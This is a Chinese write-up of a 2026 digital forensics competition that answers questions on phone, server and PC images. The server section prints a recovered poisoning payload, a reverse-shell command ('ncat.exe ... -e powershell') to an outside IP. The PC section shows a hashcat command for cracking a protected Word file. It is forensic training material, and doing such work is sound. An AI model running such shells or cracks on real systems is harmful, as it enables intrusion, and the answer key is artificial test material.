2026平航杯电子取证团队赛wp(正在完成…)

手机取证

1

分析早起王的手机，手机型号为？【Pixel 6】

由PhoneInfo-1775206177238文件：

{"Product":"oriole","Tags":"release-keys","Model":"Pixel 6","SDK":"34","VersionRelease":"14","Device":"oriole","Display":"AP1A.240505.004","Brand":"google","Board":"oriole","FingerPrint":"google\/oriole\/oriole:14\/AP1A.240505.004\/11583682:user\/release-keys","ID":"AP1A.240505.004","Manufacturer":"Google","User":"android-build","NetworkOperator":"","Line1Number":"12135224143","CPU_ABI":"arm64-v8a,armeabi-v7a,armeabi","HardWare":"oriole","BootLoader":"slider-1.3-11403664","Serial":"unknown","MemoryTotal":118396899328,"MemoryAvail":103259033600,"WifiMac":"02:00:00:00:00:00","BluetoothMac":"02:00:00:00:00:00","BootTime":"1775182814","SysRunTime":"23362348","MEID":"","IMSI":[],"IMEI":[],"ICCID":[],"Number":[],"bluetoothHistory":[]}

手机型号是Pixel 6

2

分析早起王的手机，早起王最近想旅行，结合高德地图搜索记录，他最可能去的景点是哪个？[西湖]

3

分析早起王的手机，早起王在什么时间加上倩倩微信的？【2026-03-30 15:13:08】

4

分析早起王的手机，倩倩在2026年3月30号吃了什么？【麻薯小蛋糕】

微信朋友圈看到

5

分析倩倩的手机，倩倩手机的系统版本是多少？【6.0.0.380】

6

分析倩倩的手机，"舔狗"的微信内部ID是多少？【wxid_uh5tfx2zi8yh22】

7

分析倩倩的手机，倩倩曾给一位好友推荐游戏，这个好友叫什么名字？【冰糖】

8

分析倩倩的手机结合逆向包，推荐的游戏叫什么？【zero sievert】

9

分析倩倩的手机，倩倩一共阅读过多少条搜狐新闻？【33】

10

分析倩倩手机逆向包，数据加密app的包名是什么？

11

接上题，初始化app时需要至少几位数的密码？

12

接上题，加密后的文件名的后缀是什么？

13

接上题，app会自动识别几种后缀的文件为图片类型？

14

接上题，app共从用于自定义加密的so模块导入了几个方法？

15

接上题，app设置的密码是多少？

16

接上题，app中存储的门锁密码是多少？

17

接上题，加密图片里面的隐藏的flag是多少？

服务器取证

18

分析服务器镜像，内核版本为？

19

分析服务器镜像，用户登录成功系统的次数为？

20

分析服务器镜像，redis数据库服务密码是多少?zjjcxy

21

分析服务器镜像，api站点后台管理员密码所用的加密算法为？argon2id

22

分析服务器镜像，api站点后台管理员密码为？b123321b

23

分析服务器镜像，登录api网站后台，后台通知设置里的超时事件（毫秒）为？114514

24

分析服务器镜像，登录api网站后台，查询总Token消耗数量为？474.2K

25

分析服务器镜像，登录api网站后台，查询最早创建apikey的时间为？2026-04-01T11:11:07.535Z

26

分析服务器镜像，编写脚本，通过调用inject_bash_blocks函数，确定恶意投毒的payload。ncat.exe 156.238.239.253 1314 -e powershell

27

接上题，should_inject_for_ua对UA字符串有过滤条件，有几个UA头能使函数有机会返回true的UA关键词。2

28

接上题，IP时间窗口的阈值（单位：ms）。500

29

接上题，估算触发概率1/N。50

计算机取证

镜像打开是蓝屏，需要：高级选项---》疑难解答---》----》高级选项----》命令提示符

将OSDATA文件删除，这里发现OSDATA的文件绝对路径是C:/Windows/System32/config/OSDATA

所以：

rmdir C:\Windows\System32\config\OSDATA

成功打开镜像

30

请分析早起王的PC镜像，计算机系统 Build 版本是什么？【19045.6466】

31

请分析早起王的PC镜像，登陆密码 LM 哈希值后六位？【C1B97A】

火眼仿真分析出的密码是；

1qazxsw2

进行哈希值换算：（取后六位即可）

5A690D842935C51F26F473E025C1B97A

32

请分析早起王的PC镜像，桌面有docx，沼气王暗恋对象的生日为？【3月24日】

docx是加密文件，连续输入2次错误后会显示密码后2位

用hashcat进行爆破

python office2john.py C:\Users\q1388\Desktop\日记.docx > hash.txt
hashcat.exe -a 3 -m 9400 -1 '?l?u?d' -force hash.txt '?1?1?1?1?104' -O

33

请分析早起王的PC镜像，邮件中隐写的秘密？【12点，老地方】

邮箱里面有个无主题文件：

Dear E-Commerce professional ; This letter was specially selected to be sent to you . If you are not interested in our publications and wish to be removed from our lists, simply do NOT respond and ignore this mail ! This mail is being sent in compliance with Senate bill 1627 , Title 1 , Section 302 ! This is a ligitimate business proposal ! Why work for somebody else when you can become rich as few as 96 weeks . Have you ever noticed people love convenience plus nearly every commercial on television has a .com on in it ! Well, now is your chance to capitalize on this ! WE will help YOU increase customer response by 150% and process your orders within seconds . You are guaranteed to succeed because we take all the risk ! But don't believe us . Prof Simpson who resides in Nevada tried us and says "Now I'm rich, Rich, RICH" ! We are a BBB member in good standing ! We BESEECH you - act now ! Sign up a friend and you get half off . Thanks . Dear Friend ; We know you are interested in receiving red-hot information ! If you are not interested in our publications and wish to be removed from our lists, simply do NOT respond and ignore this mail ! This mail is being sent in compliance with Senate bill 1619 , Title 3 , Section 304 . THIS IS NOT A GET RICH SCHEME ! Why work for somebody else when you can become rich as few as 17 DAYS ! Have you ever noticed nearly every commercial on television has a .com on in it & how many people you know are on the Internet ! Well, now is your chance to capitalize on this . We will help you increase customer response by 150% plus turn your business into an E-BUSINESS . You can begin at absolutely no cost to you ! But don't believe us . Ms Simpson who resides in Louisiana tried us and says "I've been poor and I've been rich - rich is better" ! We are licensed to operate in all states . Do not delay - order today ! Sign up a friend and you'll get a discount of 50% . Thank-you for your serious consideration of our offer . 242522022008@pop.zjgsu.edu.cn

想到spanmimic加密（一种加密为垃圾邮件的加密方式）

解密后得到【12点，老地方】